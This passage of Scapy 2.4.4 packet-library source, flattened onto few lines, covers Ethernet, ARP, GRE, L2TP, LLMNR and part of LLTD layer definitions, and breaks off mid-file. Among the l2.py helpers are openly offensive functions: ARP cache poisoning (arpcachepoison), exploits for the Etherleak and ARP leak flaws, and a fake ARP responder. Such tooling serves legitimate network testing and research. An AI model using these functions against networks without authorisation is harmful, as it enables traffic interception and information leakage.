conf.netcache.new_cache("arp_cache", 120) # cache entries expire after 120s @conf.commands.register def getmacbyip(ip, chainCC=0): """Return MAC address corresponding to a given IP address""" if isinstance(ip, Net): ip = next(iter(ip)) ip = inet_ntoa(inet_aton(ip or "0.0.0.0")) tmp = [orb(e) for e in inet_aton(ip)] if (tmp[0] & 0xf0) == 0xe0: # mcast @ return "01:00:5e:%.2x:%.2x:%.2x" % (tmp[1] & 0x7f, tmp[2], tmp[3]) iff, _, gw = conf.route.route(ip) if (iff == conf.loopback_name) or (ip in conf.route.get_if_bcast(iff)): return "ff:ff:ff:ff:ff:ff" if gw != "0.0.0.0": ip = gw mac = conf.netcache.arp_cache.get(ip) if mac: return mac try: res = srp1(Ether(dst=ETHER_BROADCAST) / ARP(op="who-has", pdst=ip), type=ETH_P_ARP, iface=iff, timeout=2, verbose=0, chainCC=chainCC, nofilter=1) except Exception as ex: warning("getmacbyip failed on %s" % ex) return None if res is not None: mac = res.payload.hwsrc conf.netcache.arp_cache[ip] = mac return mac return None # Fields class DestMACField(MACField): def __init__(self, name): MACField.__init__(self, name, None) def i2h(self, pkt, x): if x is None: try: x = conf.neighbor.resolve(pkt, pkt.payload) except socket.error: pass if x is None: if conf.raise_no_dst_mac: raise ScapyNoDstMacException() else: x = "ff:ff:ff:ff:ff:ff" warning("Mac address to reach destination not found. Using broadcast.") # noqa: E501 return MACField.i2h(self, pkt, x) def i2m(self, pkt, x): return MACField.i2m(self, pkt, self.i2h(pkt, x)) class SourceMACField(MACField): __slots__ = ["getif"] def __init__(self, name, getif=None): MACField.__init__(self, name, None) self.getif = (lambda pkt: pkt.route()[0]) if getif is None else getif def i2h(self, pkt, x): if x is None: iff = self.getif(pkt) if iff is None: iff = conf.iface if iff: try: x = get_if_hwaddr(iff) except Exception as e: warning("Could not get the source MAC: %s" % e) if x is None: x = "00:00:00:00:00:00" return MACField.i2h(self, pkt, x) def i2m(self, pkt, x): return MACField.i2m(self, pkt, self.i2h(pkt, x)) # Layers ETHER_TYPES[0x88a8] = '802_AD' ETHER_TYPES[ETH_P_MACSEC] = '802_1AE' class Ether(Packet): name = "Ethernet" fields_desc = [DestMACField("dst"), SourceMACField("src"), XShortEnumField("type", 0x9000, ETHER_TYPES)] __slots__ = ["_defrag_pos"] def hashret(self): return struct.pack("H", self.type) + self.payload.hashret() def answers(self, other): if isinstance(other, Ether): if self.type == other.type: return self.payload.answers(other.payload) return 0 def mysummary(self): return self.sprintf("%src% > %dst% (%type%)") @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 14: if struct.unpack("!H", _pkt[12:14])[0] <= 1500: return Dot3 return cls class Dot3(Packet): name = "802.3" fields_desc = [DestMACField("dst"), SourceMACField("src"), LenField("len", None, "H")] def extract_padding(self, s): tmp_len = self.len return s[:tmp_len], s[tmp_len:] def answers(self, other): if isinstance(other, Dot3): return self.payload.answers(other.payload) return 0 def mysummary(self): return "802.3 %s > %s" % (self.src, self.dst) @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 14: if struct.unpack("!H", _pkt[12:14])[0] > 1500: return Ether return cls class LLC(Packet): name = "LLC" fields_desc = [XByteField("dsap", 0x00), XByteField("ssap", 0x00), ByteField("ctrl", 0)] def l2_register_l3(l2, l3): return conf.neighbor.resolve(l2, l3.payload) conf.neighbor.register_l3(Ether, LLC, l2_register_l3) conf.neighbor.register_l3(Dot3, LLC, l2_register_l3) class CookedLinux(Packet): # Documentation: http://www.tcpdump.org/linktypes/LINKTYPE_LINUX_SLL.html name = "cooked linux" # from wireshark's database fields_desc = [ShortEnumField("pkttype", 0, {0: "unicast", 1: "broadcast", 2: "multicast", 3: "unicast-to-another-host", 4: "sent-by-us"}), XShortField("lladdrtype", 512), ShortField("lladdrlen", 0), StrFixedLenField("src", "", 8), XShortEnumField("proto", 0x800, ETHER_TYPES)] class MPacketPreamble(Packet): # IEEE 802.3br Figure 99-3 name = "MPacket Preamble" fields_desc = [StrFixedLenField("preamble", b"", length=8), FCSField("fcs", 0, fmt="!I")] class SNAP(Packet): name = "SNAP" fields_desc = [X3BytesField("OUI", 0x000000), XShortEnumField("code", 0x000, ETHER_TYPES)] conf.neighbor.register_l3(Dot3, SNAP, l2_register_l3) class Dot1Q(Packet): name = "802.1Q" aliastypes = [Ether] fields_desc = [BitField("prio", 0, 3), BitField("id", 0, 1), BitField("vlan", 1, 12), XShortEnumField("type", 0x0000, ETHER_TYPES)] def answers(self, other): if isinstance(other, Dot1Q): if ((self.type == other.type) and (self.vlan == other.vlan)): return self.payload.answers(other.payload) else: return self.payload.answers(other) return 0 def default_payload_class(self, pay): if self.type <= 1500: return LLC return conf.raw_layer def extract_padding(self, s): if self.type <= 1500: return s[:self.type], s[self.type:] return s, None def mysummary(self): if isinstance(self.underlayer, Ether): return self.underlayer.sprintf("802.1q %Ether.src% > %Ether.dst% (%Dot1Q.type%) vlan %Dot1Q.vlan%") # noqa: E501 else: return self.sprintf("802.1q (%Dot1Q.type%) vlan %Dot1Q.vlan%") conf.neighbor.register_l3(Ether, Dot1Q, l2_register_l3) class STP(Packet): name = "Spanning Tree Protocol" fields_desc = [ShortField("proto", 0), ByteField("version", 0), ByteField("bpdutype", 0), ByteField("bpduflags", 0), ShortField("rootid", 0), MACField("rootmac", ETHER_ANY), IntField("pathcost", 0), ShortField("bridgeid", 0), MACField("bridgemac", ETHER_ANY), ShortField("portid", 0), BCDFloatField("age", 1), BCDFloatField("maxage", 20), BCDFloatField("hellotime", 2), BCDFloatField("fwddelay", 15)] class ARP(Packet): name = "ARP" fields_desc = [ XShortField("hwtype", 0x0001), XShortEnumField("ptype", 0x0800, ETHER_TYPES), FieldLenField("hwlen", None, fmt="B", length_of="hwsrc"), FieldLenField("plen", None, fmt="B", length_of="psrc"), ShortEnumField("op", 1, { "who-has": 1, "is-at": 2, "RARP-req": 3, "RARP-rep": 4, "Dyn-RARP-req": 5, "Dyn-RAR-rep": 6, "Dyn-RARP-err": 7, "InARP-req": 8, "InARP-rep": 9 }), MultipleTypeField( [ (SourceMACField("hwsrc"), (lambda pkt: pkt.hwtype == 1 and pkt.hwlen == 6, lambda pkt, val: pkt.hwtype == 1 and ( pkt.hwlen == 6 or (pkt.hwlen is None and (val is None or len(val) == 6 or valid_mac(val))) ))), ], StrFixedLenField("hwsrc", None, length_from=lambda pkt: pkt.hwlen), ), MultipleTypeField( [ (SourceIPField("psrc", "pdst"), (lambda pkt: pkt.ptype == 0x0800 and pkt.plen == 4, lambda pkt, val: pkt.ptype == 0x0800 and ( pkt.plen == 4 or (pkt.plen is None and (val is None or valid_net(val))) ))), (SourceIP6Field("psrc", "pdst"), (lambda pkt: pkt.ptype == 0x86dd and pkt.plen == 16, lambda pkt, val: pkt.ptype == 0x86dd and ( pkt.plen == 16 or (pkt.plen is None and (val is None or valid_net6(val))) ))), ], StrFixedLenField("psrc", None, length_from=lambda pkt: pkt.plen), ), MultipleTypeField( [ (MACField("hwdst", ETHER_ANY), (lambda pkt: pkt.hwtype == 1 and pkt.hwlen == 6, lambda pkt, val: pkt.hwtype == 1 and ( pkt.hwlen == 6 or (pkt.hwlen is None and (val is None or len(val) == 6 or valid_mac(val))) ))), ], StrFixedLenField("hwdst", None, length_from=lambda pkt: pkt.hwlen), ), MultipleTypeField( [ (IPField("pdst", "0.0.0.0"), (lambda pkt: pkt.ptype == 0x0800 and pkt.plen == 4, lambda pkt, val: pkt.ptype == 0x0800 and ( pkt.plen == 4 or (pkt.plen is None and (val is None or valid_net(val))) ))), (IP6Field("pdst", "::"), (lambda pkt: pkt.ptype == 0x86dd and pkt.plen == 16, lambda pkt, val: pkt.ptype == 0x86dd and ( pkt.plen == 16 or (pkt.plen is None and (val is None or valid_net6(val))) ))), ], StrFixedLenField("pdst", None, length_from=lambda pkt: pkt.plen), ), ] def hashret(self): return struct.pack(">HHH", self.hwtype, self.ptype, ((self.op + 1) // 2)) + self.payload.hashret() def answers(self, other): if not isinstance(other, ARP): return False if self.op != other.op + 1: return False # We use a loose comparison on psrc vs pdst to catch answers # with ARP leaks self_psrc = self.get_field('psrc').i2m(self, self.psrc) other_pdst = other.get_field('pdst').i2m(other, other.pdst) return self_psrc[:len(other_pdst)] == other_pdst[:len(self_psrc)] def route(self): fld, dst = self.getfield_and_val("pdst") fld, dst = fld._find_fld_pkt_val(self, dst) if isinstance(dst, Gen): dst = next(iter(dst)) if isinstance(fld, IP6Field): return conf.route6.route(dst) elif isinstance(fld, IPField): return conf.route.route(dst) else: return None, None, None def extract_padding(self, s): return "", s def mysummary(self): if self.op == 1: return self.sprintf("ARP who has %pdst% says %psrc%") if self.op == 2: return self.sprintf("ARP is at %hwsrc% says %psrc%") return self.sprintf("ARP %op% %psrc% > %pdst%") def l2_register_l3_arp(l2, l3): return getmacbyip(l3.pdst) conf.neighbor.register_l3(Ether, ARP, l2_register_l3_arp) class GRErouting(Packet): name = "GRE routing information" fields_desc = [ShortField("address_family", 0), ByteField("SRE_offset", 0), FieldLenField("SRE_len", None, "routing_info", "B"), StrLenField("routing_info", "", "SRE_len"), ] class GRE(Packet): name = "GRE" deprecated_fields = { "seqence_number": ("sequence_number", "2.4.4"), } fields_desc = [BitField("chksum_present", 0, 1), BitField("routing_present", 0, 1), BitField("key_present", 0, 1), BitField("seqnum_present", 0, 1), BitField("strict_route_source", 0, 1), BitField("recursion_control", 0, 3), BitField("flags", 0, 5), BitField("version", 0, 3), XShortEnumField("proto", 0x0000, ETHER_TYPES), ConditionalField(XShortField("chksum", None), lambda pkt:pkt.chksum_present == 1 or pkt.routing_present == 1), # noqa: E501 ConditionalField(XShortField("offset", None), lambda pkt:pkt.chksum_present == 1 or pkt.routing_present == 1), # noqa: E501 ConditionalField(XIntField("key", None), lambda pkt:pkt.key_present == 1), # noqa: E501 ConditionalField(XIntField("sequence_number", None), lambda pkt:pkt.seqnum_present == 1), # noqa: E501 ] @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and struct.unpack("!H", _pkt[2:4])[0] == 0x880b: return GRE_PPTP return cls def post_build(self, p, pay): p += pay if self.chksum_present and self.chksum is None: c = checksum(p) p = p[:4] + chb((c >> 8) & 0xff) + chb(c & 0xff) + p[6:] return p class GRE_PPTP(GRE): """ Enhanced GRE header used with PPTP RFC 2637 """ name = "GRE PPTP" deprecated_fields = { "seqence_number": ("sequence_number", "2.4.4"), } fields_desc = [BitField("chksum_present", 0, 1), BitField("routing_present", 0, 1), BitField("key_present", 1, 1), BitField("seqnum_present", 0, 1), BitField("strict_route_source", 0, 1), BitField("recursion_control", 0, 3), BitField("acknum_present", 0, 1), BitField("flags", 0, 4), BitField("version", 1, 3), XShortEnumField("proto", 0x880b, ETHER_TYPES), ShortField("payload_len", None), ShortField("call_id", None), ConditionalField(XIntField("sequence_number", None), lambda pkt: pkt.seqnum_present == 1), # noqa: E501 ConditionalField(XIntField("ack_number", None), lambda pkt: pkt.acknum_present == 1)] # noqa: E501 def post_build(self, p, pay): p += pay if self.payload_len is None: pay_len = len(pay) p = p[:4] + chb((pay_len >> 8) & 0xff) + chb(pay_len & 0xff) + p[6:] # noqa: E501 return p # *BSD loopback layer class LoIntEnumField(IntEnumField): def m2i(self, pkt, x): return x >> 24 def i2m(self, pkt, x): return x << 24 # https://github.com/wireshark/wireshark/blob/fe219637a6748130266a0b0278166046e60a2d68/epan/dissectors/packet-null.c # https://www.wireshark.org/docs/wsar_html/epan/aftypes_8h.html LOOPBACK_TYPES = {0x2: "IPv4", 0x7: "OSI", 0x10: "Appletalk", 0x17: "Netware IPX/SPX", 0x18: "IPv6", 0x1c: "IPv6", 0x1e: "IPv6"} class Loopback(Packet): r"""\*BSD loopback layer""" name = "Loopback" if consts.OPENBSD: fields_desc = [IntEnumField("type", 0x2, LOOPBACK_TYPES)] else: fields_desc = [LoIntEnumField("type", 0x2, LOOPBACK_TYPES)] __slots__ = ["_defrag_pos"] class Dot1AD(Dot1Q): name = '802_1AD' bind_layers(Dot3, LLC) bind_layers(Ether, LLC, type=122) bind_layers(Ether, LLC, type=34928) bind_layers(Ether, Dot1Q, type=33024) bind_layers(Ether, Dot1AD, type=0x88a8) bind_layers(Dot1AD, Dot1AD, type=0x88a8) bind_layers(Dot1AD, Dot1Q, type=0x8100) bind_layers(Dot1Q, Dot1AD, type=0x88a8) bind_layers(Ether, Ether, type=1) bind_layers(Ether, ARP, type=2054) bind_layers(CookedLinux, LLC, proto=122) bind_layers(CookedLinux, Dot1Q, proto=33024) bind_layers(CookedLinux, Dot1AD, type=0x88a8) bind_layers(CookedLinux, Ether, proto=1) bind_layers(CookedLinux, ARP, proto=2054) bind_layers(MPacketPreamble, Ether) bind_layers(GRE, LLC, proto=122) bind_layers(GRE, Dot1Q, proto=33024) bind_layers(GRE, Dot1AD, type=0x88a8) bind_layers(GRE, Ether, proto=0x6558) bind_layers(GRE, ARP, proto=2054) bind_layers(GRE, GRErouting, {"routing_present": 1}) bind_layers(GRErouting, conf.raw_layer, {"address_family": 0, "SRE_len": 0}) bind_layers(GRErouting, GRErouting) bind_layers(LLC, STP, dsap=66, ssap=66, ctrl=3) bind_layers(LLC, SNAP, dsap=170, ssap=170, ctrl=3) bind_layers(SNAP, Dot1Q, code=33024) bind_layers(SNAP, Dot1AD, type=0x88a8) bind_layers(SNAP, Ether, code=1) bind_layers(SNAP, ARP, code=2054) bind_layers(SNAP, STP, code=267) conf.l2types.register(ARPHDR_ETHER, Ether) conf.l2types.register_num2layer(ARPHDR_METRICOM, Ether) conf.l2types.register_num2layer(ARPHDR_LOOPBACK, Ether) conf.l2types.register_layer2num(ARPHDR_ETHER, Dot3) conf.l2types.register(DLT_LINUX_SLL, CookedLinux) conf.l2types.register(DLT_ETHERNET_MPACKET, MPacketPreamble) conf.l2types.register_num2layer(DLT_LINUX_IRDA, CookedLinux) conf.l2types.register(DLT_LOOP, Loopback) conf.l2types.register_num2layer(DLT_NULL, Loopback) conf.l3types.register(ETH_P_ARP, ARP) # Techniques @conf.commands.register def arpcachepoison(target, victim, interval=60): """Poison target's cache with (your MAC,victim's IP) couple arpcachepoison(target, victim, [interval=60]) -> None """ tmac = getmacbyip(target) p = Ether(dst=tmac) / ARP(op="who-has", psrc=victim, pdst=target) try: while True: sendp(p, iface_hint=target) if conf.verb > 1: os.write(1, b".") time.sleep(interval) except KeyboardInterrupt: pass class ARPingResult(SndRcvList): def __init__(self, res=None, name="ARPing", stats=None): SndRcvList.__init__(self, res, name, stats) def show(self): """ Print the list of discovered MAC addresses. """ data = list() padding = 0 for s, r in self.res: manuf = conf.manufdb._get_short_manuf(r.src) manuf = "unknown" if manuf == r.src else manuf padding = max(padding, len(manuf)) data.append((r[Ether].src, manuf, r[ARP].psrc)) for src, manuf, psrc in data: print(" %-17s %-*s %s" % (src, padding, manuf, psrc)) @conf.commands.register def arping(net, timeout=2, cache=0, verbose=None, **kargs): """Send ARP who-has requests to determine which hosts are up arping(net, [cache=0,] [iface=conf.iface,] [verbose=conf.verb]) -> None Set cache=True if you want arping to modify internal ARP-Cache""" if verbose is None: verbose = conf.verb ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=net), verbose=verbose, # noqa: E501 filter="arp and arp[7] = 2", timeout=timeout, iface_hint=net, **kargs) # noqa: E501 ans = ARPingResult(ans.res) if cache and ans is not None: for pair in ans: conf.netcache.arp_cache[pair[1].psrc] = (pair[1].hwsrc, time.time()) # noqa: E501 if ans is not None and verbose: ans.show() return ans, unans @conf.commands.register def is_promisc(ip, fake_bcast="ff:ff:00:00:00:00", **kargs): """Try to guess if target is in Promisc mode. The target is provided by its ip.""" # noqa: E501 responses = srp1(Ether(dst=fake_bcast) / ARP(op="who-has", pdst=ip), type=ETH_P_ARP, iface_hint=ip, timeout=1, verbose=0, **kargs) # noqa: E501 return responses is not None @conf.commands.register def promiscping(net, timeout=2, fake_bcast="ff:ff:ff:ff:ff:fe", **kargs): """Send ARP who-has requests to determine which hosts are in promiscuous mode promiscping(net, iface=conf.iface)""" ans, unans = srp(Ether(dst=fake_bcast) / ARP(pdst=net), filter="arp and arp[7] = 2", timeout=timeout, iface_hint=net, **kargs) # noqa: E501 ans = ARPingResult(ans.res, name="PROMISCPing") ans.display() return ans, unans class ARP_am(AnsweringMachine): """Fake ARP Relay Daemon (farpd) example: To respond to an ARP request for 192.168.100 replying on the ingress interface:: farpd(IP_addr='192.168.1.100',ARP_addr='00:01:02:03:04:05') To respond on a different interface add the interface parameter:: farpd(IP_addr='192.168.1.100',ARP_addr='00:01:02:03:04:05',iface='eth0') To respond on ANY arp request on an interface with mac address ARP_addr:: farpd(ARP_addr='00:01:02:03:04:05',iface='eth1') To respond on ANY arp request with my mac addr on the given interface:: farpd(iface='eth1') Optional Args:: inter= Interval in seconds between ARP replies being sent """ function_name = "farpd" filter = "arp" send_function = staticmethod(sendp) def parse_options(self, IP_addr=None, ARP_addr=None): self.IP_addr = IP_addr self.ARP_addr = ARP_addr def is_request(self, req): return (req.haslayer(ARP) and req.getlayer(ARP).op == 1 and (self.IP_addr is None or self.IP_addr == req.getlayer(ARP).pdst)) # noqa: E501 def make_reply(self, req): ether = req.getlayer(Ether) arp = req.getlayer(ARP) if 'iface' in self.optsend: iff = self.optsend.get('iface') else: iff, a, gw = conf.route.route(arp.psrc) self.iff = iff if self.ARP_addr is None: try: ARP_addr = get_if_hwaddr(iff) except Exception: ARP_addr = "00:00:00:00:00:00" else: ARP_addr = self.ARP_addr resp = Ether(dst=ether.src, src=ARP_addr) / ARP(op="is-at", hwsrc=ARP_addr, psrc=arp.pdst, hwdst=arp.hwsrc, pdst=arp.psrc) return resp def send_reply(self, reply): if 'iface' in self.optsend: self.send_function(reply, **self.optsend) else: self.send_function(reply, iface=self.iff, **self.optsend) def print_reply(self, req, reply): print("%s ==> %s on %s" % (req.summary(), reply.summary(), self.iff)) @conf.commands.register def etherleak(target, **kargs): """Exploit Etherleak flaw""" return srp(Ether() / ARP(pdst=target), prn=lambda s_r: conf.padding_layer in s_r[1] and hexstr(s_r[1][conf.padding_layer].load), # noqa: E501 filter="arp", **kargs) @conf.commands.register def arpleak(target, plen=255, hwlen=255, **kargs): """Exploit ARP leak flaws, like NetBSD-SA2017-002. https://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2017-002.txt.asc """ # We want explicit packets pkts_iface = {} for pkt in ARP(pdst=target): # We have to do some of Scapy's work since we mess with # important values iface = conf.route.route(pkt.pdst)[0] psrc = get_if_addr(iface) hwsrc = get_if_hwaddr(iface) pkt.plen = plen pkt.hwlen = hwlen if plen == 4: pkt.psrc = psrc else: pkt.psrc = inet_aton(psrc)[:plen] pkt.pdst = inet_aton(pkt.pdst)[:plen] if hwlen == 6: pkt.hwsrc = hwsrc else: pkt.hwsrc = mac2str(hwsrc)[:hwlen] pkts_iface.setdefault(iface, []).append( Ether(src=hwsrc, dst=ETHER_BROADCAST) / pkt ) ans, unans = SndRcvList(), PacketList(name="Unanswered") for iface, pkts in viewitems(pkts_iface): ans_new, unans_new = srp(pkts, iface=iface, filter="arp", **kargs) ans += ans_new unans += unans_new ans.listname = "Results" unans.listname = "Unanswered" for _, rcv in ans: if ARP not in rcv: continue rcv = rcv[ARP] psrc = rcv.get_field('psrc').i2m(rcv, rcv.psrc) if plen > 4 and len(psrc) > 4: print("psrc") hexdump(psrc[4:]) print() hwsrc = rcv.get_field('hwsrc').i2m(rcv, rcv.hwsrc) if hwlen > 6 and len(hwsrc) > 6: print("hwsrc") hexdump(hwsrc[6:]) print() return ans, unans scapy-2.4.4/scapy/layers/l2tp.py000066400000000000000000000033441372370053500165220ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ L2TP (Layer 2 Tunneling Protocol) for VPNs. [RFC 2661] """ import struct from scapy.packet import Packet, bind_layers, bind_bottom_up from scapy.fields import BitEnumField, ConditionalField, FlagsField, \ PadField, ShortField from scapy.layers.inet import UDP from scapy.layers.ppp import PPP class L2TP(Packet): name = "L2TP" fields_desc = [ FlagsField("hdr", 0, 12, ['res00', 'res01', 'res02', 'res03', 'priority', 'offset', # noqa: E501 'res06', 'sequence', 'res08', 'res09', 'length', 'control']), # noqa: E501 BitEnumField("version", 2, 4, {2: 'L2TPv2'}), ConditionalField(ShortField("len", 0), lambda pkt: pkt.hdr & 'control+length'), ShortField("tunnel_id", 0), ShortField("session_id", 0), ConditionalField(ShortField("ns", 0), lambda pkt: pkt.hdr & 'sequence+control'), ConditionalField(ShortField("nr", 0), lambda pkt: pkt.hdr & 'sequence+control'), ConditionalField( PadField(ShortField("offset", 0), 4, b"\x00"), lambda pkt: not (pkt.hdr & 'control') and pkt.hdr & 'offset' ) ] def post_build(self, pkt, pay): if self.len is None: tmp_len = len(pkt) + len(pay) pkt = pkt[:2] + struct.pack("!H", tmp_len) + pkt[4:] return pkt + pay bind_bottom_up(UDP, L2TP, dport=1701) bind_bottom_up(UDP, L2TP, sport=1701) bind_layers(UDP, L2TP, dport=1701, sport=1701) bind_layers(L2TP, PPP,) scapy-2.4.4/scapy/layers/llmnr.py000066400000000000000000000047111372370053500167640ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ LLMNR (Link Local Multicast Node Resolution). [RFC 4795] LLMNR is based on the DNS packet format (RFC1035 Section 4) RFC also envisions LLMNR over TCP. Like vista, we don't support it -- arno """ import struct from scapy.fields import BitEnumField, BitField, ShortField from scapy.packet import Packet, bind_layers, bind_bottom_up from scapy.compat import orb from scapy.layers.inet import UDP from scapy.layers.dns import DNSQRField, DNSRRField, DNSRRCountField _LLMNR_IPv6_mcast_Addr = "FF02:0:0:0:0:0:1:3" _LLMNR_IPv4_mcast_addr = "224.0.0.252" class LLMNRQuery(Packet): name = "Link Local Multicast Node Resolution - Query" fields_desc = [ShortField("id", 0), BitField("qr", 0, 1), BitEnumField("opcode", 0, 4, {0: "QUERY"}), BitField("c", 0, 1), BitField("tc", 0, 2), BitField("z", 0, 4), BitEnumField("rcode", 0, 4, {0: "ok"}), DNSRRCountField("qdcount", None, "qd"), DNSRRCountField("ancount", None, "an"), DNSRRCountField("nscount", None, "ns"), DNSRRCountField("arcount", None, "ar"), DNSQRField("qd", "qdcount"), DNSRRField("an", "ancount"), DNSRRField("ns", "nscount"), DNSRRField("ar", "arcount", 0)] overload_fields = {UDP: {"sport": 5355, "dport": 5355}} def hashret(self): return struct.pack("!H", self.id) class LLMNRResponse(LLMNRQuery): name = "Link Local Multicast Node Resolution - Response" qr = 1 def answers(self, other): return (isinstance(other, LLMNRQuery) and self.id == other.id and self.qr == 1 and other.qr == 0) class _LLMNR(Packet): @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if len(_pkt) >= 2: if (orb(_pkt[2]) & 0x80): # Response return LLMNRResponse else: # Query return LLMNRQuery return cls bind_bottom_up(UDP, _LLMNR, dport=5355) bind_bottom_up(UDP, _LLMNR, sport=5355) bind_layers(UDP, _LLMNR, sport=5355, dport=5355) # LLMNRQuery(id=RandShort(), qd=DNSQR(qname="vista."))) scapy-2.4.4/scapy/layers/lltd.py000066400000000000000000000630311372370053500165770ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """LLTD Protocol https://msdn.microsoft.com/en-us/library/cc233983.aspx """ from __future__ import absolute_import from array import array from scapy.fields import BitField, FlagsField, ByteField, ByteEnumField, \ ShortField, ShortEnumField, ThreeBytesField, IntField, IntEnumField, \ LongField, MultiEnumField, FieldLenField, FieldListField, \ PacketListField, StrLenField, StrLenFieldUtf16, ConditionalField, MACField from scapy.packet import Packet, Padding, bind_layers from scapy.plist import PacketList from scapy.layers.l2 import Ether from scapy.layers.inet import IPField from scapy.layers.inet6 import IP6Field from scapy.data import ETHER_ANY import scapy.modules.six as six from scapy.compat import orb, chb # Protocol layers ################## class LLTD(Packet): name = "LLTD" answer_hashret = { # (tos, function) tuple mapping (answer -> query), used by # .hashret() (1, 1): (0, 0), (0, 12): (0, 11), } fields_desc = [ ByteField("version", 1), ByteEnumField("tos", 0, { 0: "Topology discovery", 1: "Quick discovery", 2: "QoS diagnostics", }), ByteField("reserved", 0), MultiEnumField("function", 0, { 0: { 0: "Discover", 1: "Hello", 2: "Emit", 3: "Train", 4: "Probe", 5: "Ack", 6: "Query", 7: "QueryResp", 8: "Reset", 9: "Charge", 10: "Flat", 11: "QueryLargeTlv", 12: "QueryLargeTlvResp", }, 1: { 0: "Discover", 1: "Hello", 8: "Reset", }, 2: { 0: "QosInitializeSink", 1: "QosReady", 2: "QosProbe", 3: "QosQuery", 4: "QosQueryResp", 5: "QosReset", 6: "QosError", 7: "QosAck", 8: "QosCounterSnapshot", 9: "QosCounterResult", 10: "QosCounterLease", }, }, depends_on=lambda pkt: pkt.tos, fmt="B"), MACField("real_dst", None), MACField("real_src", None), ConditionalField(ShortField("xid", 0), lambda pkt: pkt.function in [0, 8]), ConditionalField(ShortField("seq", 0), lambda pkt: pkt.function not in [0, 8]), ] def post_build(self, pkt, pay): if (self.real_dst is None or self.real_src is None) and \ isinstance(self.underlayer, Ether): eth = self.underlayer if self.real_dst is None: pkt = (pkt[:4] + eth.fields_desc[0].i2m(eth, eth.dst) + pkt[10:]) if self.real_src is None: pkt = (pkt[:10] + eth.fields_desc[1].i2m(eth, eth.src) + pkt[16:]) return pkt + pay def mysummary(self): if isinstance(self.underlayer, Ether): return self.underlayer.sprintf( 'LLTD %src% > %dst% %LLTD.tos% - %LLTD.function%' ) else: return self.sprintf('LLTD %tos% - %function%') def hashret(self): tos, function = self.tos, self.function return "%c%c" % self.answer_hashret.get((tos, function), (tos, function)) def answers(self, other): if not isinstance(other, LLTD): return False if self.tos == 0: if self.function == 0 and isinstance(self.payload, LLTDDiscover) \ and len(self[LLTDDiscover].stations_list) == 1: # "Topology discovery - Discover" with one MAC address # discovered answers a "Quick discovery - Hello" return other.tos == 1 and \ other.function == 1 and \ LLTDAttributeHostID in other and \ other[LLTDAttributeHostID].mac == \ self[LLTDDiscover].stations_list[0] elif self.function == 12: # "Topology discovery - QueryLargeTlvResp" answers # "Topology discovery - QueryLargeTlv" with same .seq # value return other.tos == 0 and other.function == 11 \ and other.seq == self.seq elif self.tos == 1: if self.function == 1 and isinstance(self.payload, LLTDHello): # "Quick discovery - Hello" answers a "Topology # discovery - Discover" return other.tos == 0 and other.function == 0 and \ other.real_src == self.current_mapper_address return False class LLTDHello(Packet): name = "LLTD - Hello" show_summary = False fields_desc = [ ShortField("gen_number", 0), MACField("current_mapper_address", ETHER_ANY), MACField("apparent_mapper_address", ETHER_ANY), ] class LLTDDiscover(Packet): name = "LLTD - Discover" fields_desc = [ ShortField("gen_number", 0), FieldLenField("stations_count", None, count_of="stations_list", fmt="H"), FieldListField("stations_list", [], MACField("", ETHER_ANY), count_from=lambda pkt: pkt.stations_count) ] def mysummary(self): return (self.sprintf("Stations: %stations_list%") if self.stations_list else "No station", [LLTD]) class LLTDEmiteeDesc(Packet): name = "LLTD - Emitee Desc" fields_desc = [ ByteEnumField("type", 0, {0: "Train", 1: "Probe"}), ByteField("pause", 0), MACField("src", None), MACField("dst", ETHER_ANY), ] class LLTDEmit(Packet): name = "LLTD - Emit" fields_desc = [ FieldLenField("descs_count", None, count_of="descs_list", fmt="H"), PacketListField("descs_list", [], LLTDEmiteeDesc, count_from=lambda pkt: pkt.descs_count), ] def mysummary(self): return ", ".join(desc.sprintf("%src% > %dst%") for desc in self.descs_list), [LLTD] class LLTDRecveeDesc(Packet): name = "LLTD - Recvee Desc" fields_desc = [ ShortEnumField("type", 0, {0: "Probe", 1: "ARP or ICMPv6"}), MACField("real_src", ETHER_ANY), MACField("ether_src", ETHER_ANY), MACField("ether_dst", ETHER_ANY), ] class LLTDQueryResp(Packet): name = "LLTD - Query Response" fields_desc = [ FlagsField("flags", 0, 2, "ME"), BitField("descs_count", None, 14), PacketListField("descs_list", [], LLTDRecveeDesc, count_from=lambda pkt: pkt.descs_count), ] def post_build(self, pkt, pay): if self.descs_count is None: # descs_count should be a FieldLenField but has an # unsupported format (14 bits) flags = orb(pkt[0]) & 0xc0 count = len(self.descs_list) pkt = chb(flags + (count >> 8)) + chb(count % 256) + pkt[2:] return pkt + pay def mysummary(self): return self.sprintf("%d response%s" % ( self.descs_count, "s" if self.descs_count > 1 else "")), [LLTD] class LLTDQueryLargeTlv(Packet): name = "LLTD - Query Large Tlv" fields_desc = [ ByteEnumField("type", 14, { 14: "Icon image", 17: "Friendly Name", 19: "Hardware ID", 22: "AP Association Table", 24: "Detailed Icon Image", 26: "Component Table", 28: "Repeater AP Table", }), ThreeBytesField("offset", 0), ] def mysummary(self): return self.sprintf("%type% (offset %offset%)"), [LLTD] class LLTDQueryLargeTlvResp(Packet): name = "LLTD - Query Large Tlv Response" fields_desc = [ FlagsField("flags", 0, 2, "RM"), BitField("len", None, 14), StrLenField("value", "", length_from=lambda pkt: pkt.len) ] def post_build(self, pkt, pay): if self.len is None: # len should be a FieldLenField but has an unsupported # format (14 bits) flags = orb(pkt[0]) & 0xc0 length = len(self.value) pkt = chb(flags + (length >> 8)) + chb(length % 256) + pkt[2:] return pkt + pay def mysummary(self): return self.sprintf("%%len%% bytes%s" % ( " (last)" if not self.flags & 2 else "" )), [LLTD] class LLTDAttribute(Packet): name = "LLTD Attribute" show_indent = False show_summary = False # section 2.2.1.1 fields_desc = [ ByteEnumField("type", 0, { 0: "End Of Property", 1: "Host ID", 2: 